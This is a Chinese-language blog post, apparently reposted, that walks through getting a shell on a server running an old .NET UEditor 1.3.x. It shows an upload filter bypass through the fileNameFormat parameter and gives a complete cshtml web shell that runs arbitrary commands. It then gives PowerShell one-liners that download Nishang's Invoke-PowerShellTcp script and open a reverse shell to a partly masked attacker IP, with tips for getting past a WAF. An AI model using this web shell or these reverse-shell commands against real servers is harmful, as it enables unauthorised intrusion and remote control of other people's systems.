低版本.net ueditor結合cshtml getshell


ueditor版本.net 1.3.x,不是.net 1.4.3的getshell

上傳頁面是這樣的需要開啟flash,添加照片抓包。先正常上傳

改后綴提示不允許的文件類型

注意到fileNameFormat參數為時間戳一樣的東西,改為1看看效果

注意到文件名(不包含后綴)變為了1隨之將,fileNameFormat參數下面內容改為你想上傳文件的文件名(包括后綴)filename參數改為jpg

成功上傳,打開發現aspx禁止訪問403

於是嘗試上傳cshtml,以下是內容可執行任意命令

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
        }
Output of the injected command (killer):
@cmd

成功上傳,system權限,執行systeminfo發現為win2008使用powershell反彈shell命令為

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333

上傳時被waf攔截,簡單測試后發現waf攔截https(有點迷我也不知道為啥)於是把ps1放在自己web服務上使用以下命令反彈shell

powershell IEX (New-Object Net.WebClient).DownloadString('http://xxx.240.xx.69/2.ps1');Invoke-PowerShellTcp -Reverse -IPAddress xxx.240.xx.69 -port 2333

成功上傳但是訪問文件的時候shell沒彈回來,並報錯。

嘗試換端口發現也一樣,最后發現是我的vps是香港的這個台服務器訪問不了。。。換了一台國內的vps成功收到shell,由於是一個月之前的了圖沒保存。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM